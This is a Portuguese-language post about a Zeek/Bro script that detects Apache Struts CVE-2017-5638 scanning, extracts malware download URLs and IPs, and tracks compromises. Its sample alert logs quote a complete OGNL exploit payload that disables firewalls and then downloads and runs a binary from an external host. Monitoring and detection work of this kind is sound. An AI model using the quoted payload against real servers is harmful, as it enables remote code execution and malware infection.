
Script do Bro/Zeek para detecção de reconhecimento, comprometimento e rastreamento de download de malware do Apache Struts CVE-2017-5638, com extração automatizada de IPs.
Eu estendi o script do Scott Campbell ainda mais, deixei mais complicado :)
Enquanto "HTTP_StrutsAttack" vai parar 100% do reconhecimento, ainda havia uma chance minúscula de que, se um scanner atingir um sistema vulnerável, mesmo que bloqueássemos o scanner, o sistema vulnerável ainda poderia executar o wget incluído na requisição HTTP e executar o malware. Já que não estamos bloqueando o IP de download do malware na URL do wget, que é quase sempre diferente do IP de reconhecimento.
Então, o script estendido também extrai o IP de download do malware.
Gere os seguintes avisos:
redef enum Notice::Type += {
Attempt,
MalwareURL,
HostileDomainLookup,
MalwareURLClick,
FileDownload,
Compromise,
};
Então agora este script irá extrair a URL "wget" do Attempt e, se a URL tiver um domínio (ou domínio com CNAME), o script rastreará ainda mais os endereços IP do host do malware e monitorará a atividade.
Se a URL wget for vista em http, geraremos um aviso MalwareURLClick.
Avisos adicionais para FileDownload e Compromise.
Este script também é clusterizado.
Eu o executei por 24 horas e as coisas parecem estáveis em relação ao script. Ainda tenho certeza de que pode haver alguns furos de detecção bobos. Então fique à vontade para modificar e me avisar também.
Surpreendentemente, ao contrário de vezes anteriores, não vejo um volume enorme de scanners Struts. Estou vendo na faixa de ~20 por dia em vez de ~1.000 por dia.
Aqui estão exemplos de avisos:
1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -
1489237401.399275 C90k4o1Zrn8D7vaXoe 124.117.244.34 49728 128.3.Y.Z 80 - - - tcp Struts::MalwareURL Struts Hostile URLs seen in recon attempt 124.117.244.34 to 128.3.Y.Z with URL [http://121.42.249.245:1996/xhx;chmod 777 xhx;./xhx;] - 124.117.244.34 128.3.Y.Z 80 - worker-13 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::MalwareURLClick Struts Hostile URL seen 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 60.000000 F - - - - -
1489240937.969456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 - - - tcp Struts::Compromise Struts compromise: 128.3.X.Y=121.42.249.245 [http://121.42.249.245:1996/tcp/xhx] - 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F - - - - -
1489240940.206456 CpUhgp1VJnPuOLY8h 128.3.X.Y 33755 121.42.249.245 1996 Frx9jZ1JkcrsVtgOkg application/x-executable http://121.42.249.245:1996/tcp/xhx tcp Struts::FileDownload http://121.42.249.245:1996/tcp/xhx http://121.42.249.245:1996/tcp/xhx 128.3.X.Y 121.42.249.245 1996 - worker-15 Notice::ACTION_LOG 3600.000000 F